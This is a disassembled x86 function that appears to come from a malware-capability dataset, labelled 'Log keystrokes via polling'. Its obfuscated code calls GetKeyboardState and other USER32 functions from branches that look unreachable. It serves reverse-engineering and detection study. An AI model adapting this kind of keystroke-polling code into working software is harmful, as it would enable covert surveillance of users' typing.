Function at 0x476aa6
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
mov dword [ebp - 0xc], 0xffffffff
xor edx, edx
push edi
mov dword [ebp - 8], 5
mov ebx, ecx
mov dword [ebp - 0x18], 0x9052196d
push 2
mov dword [ebp - 0x18], 0xb4dbdf90
mov dword [ebp - 0x28], edx
mov dword [ebp - 0xc], edx
pop esi
jmp 0x476ae8
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x30], 0x102071b1
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x476ada
mov dword [ebp - 0xc], edx
jmp 0x476b00
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x38], 0x945c66b3
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x476af2
xor edi, edi
mov dword [ebp - 0xc], edx
inc edi
cmp dword [ebp - 0xc], edi
jg 0x476be1
mov eax, 0x38462751
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x48], edi
cmp dword [ebp - 0x48], edx
jl 0x476bd5
xor ecx, ecx
mov dword [ebp - 0x28], 0x33c22515
mov eax, dword [ebp - 0x48]
cmp eax, 0x34678dc2
setne cl
cmp ecx, 0x215e
je 0x476b64
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
je 0x476baf
push edx
call dword [sym.imp.USER32.dll_GetKeyboardState]
xor edx, edx
jmp 0x476baf
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x14], edx
jmp 0x476baa
mov dword [ebp - 0x18], edx
jmp 0x476b7f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x74], 3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x476b71
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
je 0x476ba4
push edx
push edx
push 0x175a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemInt]
xor edx, edx
dec dword [ebp - 8]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x476b6c
mov dword [ebp - 8], edx
jmp 0x476bc2
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x30], 0x27359b50
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jl 0x476bb4
dec dword [ebp - 0x48]
jns 0x476b34
mov eax, 0x38462751
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edi
jle 0x476b19
mov ecx, dword [ebp - 0xc]
mov esi, 0x30f
mov eax, dword [ebp - 0xc]
add eax, 0xfffffffb
add eax, ecx
cmp eax, 3
mov eax, dword [ebp - 8]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
setne dl
add ecx, edx
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x2c]
setge dl
add ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0xc]
setge dl
sub esi, edx
sub esi, eax
mov eax, dword [ebp - 0xc]
add eax, esi
add ecx, eax
xor eax, eax
cmp ecx, 0x25a4
setne al
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
neg eax
sbb eax, eax
xor esi, esi
inc eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], esi
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 8]
cmp eax, 0xfffffffc
jbe 0x476c60
mov edx, edi
cmp dword [ebp - 8], esi
jne 0x476c62
mov edx, esi
mov eax, dword [ebp - 8]
xor ecx, ecx
cmp edx, eax
push 0x3082
setne cl
mov dword [ebp - 0x18], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, 5
push 0x4dd3
push edi
push edi
push edi
setle cl
push edi
mov dword [ebp - 0x38], ecx
push ebx
call fcn.0046878c
mov dword [ebp - 0xc], 5
add esp, 0x1c
mov dword [ebp - 8], 0xa311c3fc
mov dword [ebp - 0x28], 6
mov dword [ebp - 0x18], esi
jmp 0x476cbb
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x44], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x476cb1
mov dword [ebp - 0xc], esi
jmp 0x476dae
mov dword [ebp - 0x10], 0xfffffffc
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x14], 0x5687c417
mov dword [ebp - 0x18], 0x87662b0a
mov dword [ebp - 0x18], esi
jmp 0x476cf4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1c], 0xafbd13d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x476ce6
cmp dword [ebp - 0x10], esi
jne 0x476d8c
cmp dword [ebp - 0xc], esi
jne 0x476d30
dec dword [ebp - 8]
xor edx, edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
cmp eax, ecx
setg dl
mov dword [ebp - 0x1c], edx
mov edx, esi
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x1c], esi
je 0x476d32
mov edx, edi
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xc]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x28]
jge 0x476d5e
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x44], 0xfffffffb
jle 0x476d8c
mov dword [ebp - 0x14], esi
jmp 0x476d7e
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x44], esi
jne 0x476d84
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jle 0x476d72
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
jmp 0x476dab
mov dword [ebp - 0x24], 0xbdbb389e
mov dword [ebp - 0x10], 0x1a
jmp 0x476da5
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x24], edi
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x17
jge 0x476d9c
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xfffffff1
jne 0x476cc9
push ebx
call fcn.0044a35c
mov dword [ebp - 0x14], 0x3b26bdde
xor ebx, ebx
mov dword [ebp - 8], 8
mov esi, eax
mov dword [ebp - 0x18], edi
pop ecx
mov dword [ebp - 0x18], ebx
jmp 0x476de7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x64], 0x9eeb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x476dd9
mov dword [ebp - 0x14], ebx
jmp 0x476fb9
mov dword [ebp - 0x10], 0xcfb6318d
mov dword [ebp - 0x18], ebx
jmp 0x476e0f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x20], 0x9d5b611f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x476e01
mov byte [ebp - 1], bl
cmp byte [ebp - 1], 0
je 0x476e25
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov dword [ebp - 0x10], ebx
jmp 0x476fac
mov dword [ebp - 0xc], 0x60d00585
xor ebx, ebx
mov dword [ebp - 0x28], 0x97c31676
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp ecx, eax
setg bl
sub ebx, dword [ebp - 0x10]
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp - 0x10]
cmp ebx, eax
mov eax, dword [ebp - 0xc]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp dword [ebp - 0xc], ecx
jge 0x476f25
xor ebx, ebx
mov dword [ebp - 0xc], ebx
jmp 0x476efc
mov dword [ebp - 0x28], ebx
mov dword [ebp - 8], 0xfffffff1
jmp 0x476ecb
mov dword [ebp - 0x18], 0xe291920b
mov dword [ebp - 0x18], 0xffffffee
jmp 0x476ec2
mov dword [ebp - 0x28], 0xfffffffa
xor edx, edx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setne dl
mov dword [ebp - 0x28], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 7
jge 0x476ea8
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x24
jne 0x476e98
mov dword [ebp - 8], 4
jmp 0x476ef4
mov byte [ebp - 1], bl
cmp byte [ebp - 1], bl
je 0x476ef1
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetPropA]
dec dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x476eda
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x2a
jle 0x476e8c
mov byte [ebp - 1], bl
cmp byte [ebp - 1], bl
je 0x476fa6
push 0x1fb6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MonitorFromWindow]
jmp 0x476fa6
mov dword [ebp - 0x24], 0xbb53
cmp dword [ebp - 8], 0xffff
ja 0x476f3f
cmp dword [ebp - 0x24], 0
jne 0x476f3f
xor ecx, ecx
jmp 0x476f41
mov ecx, edi
mov eax, dword [ebp - 0xc]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
sub edx, 0x130479e6
cmp edx, eax
setg cl
imul eax, ecx, 0xfffffff7
test eax, eax
jne 0x476f67
cmp dword [ebp - 0x20], eax
je 0x476f69
mov eax, edi
xor ecx, ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
cmp eax, 0x55d48264
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setle dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x20]
setl bl
xor ecx, ecx
cmp eax, 0x4b1f0599
setge cl
sub ebx, ecx
neg ebx
sbb ebx, ebx
inc ebx
mov dword [ebp - 0x20], ebx
xor ebx, ebx
mov dword [ebp - 0x28], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x12
jne 0x476e2d
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffed
jg 0x476df5
cmp dword [ebp - 8], ebx
je 0x477013
cmp dword [ebp - 0x14], ebx
je 0x476fdb
mov dword [ebp - 0x18], 0xaf6d
mov edx, edi
cmp dword [ebp - 0x18], ebx
jne 0x476fdd
mov edx, ebx
mov eax, dword [ebp - 0x58]
xor ecx, ecx
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 8]
cmp edx, eax
mov eax, dword [ebp - 8]
setne cl
xor edx, edx
cmp ecx, 0xffffffff
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
imul ecx, dword [ebp - 8]
test ecx, ecx
jne 0x477015
mov edi, ebx
xor eax, eax
cmp eax, edi
pop edi
sbb eax, eax
inc eax
mov dword [ebp - 0x14], eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret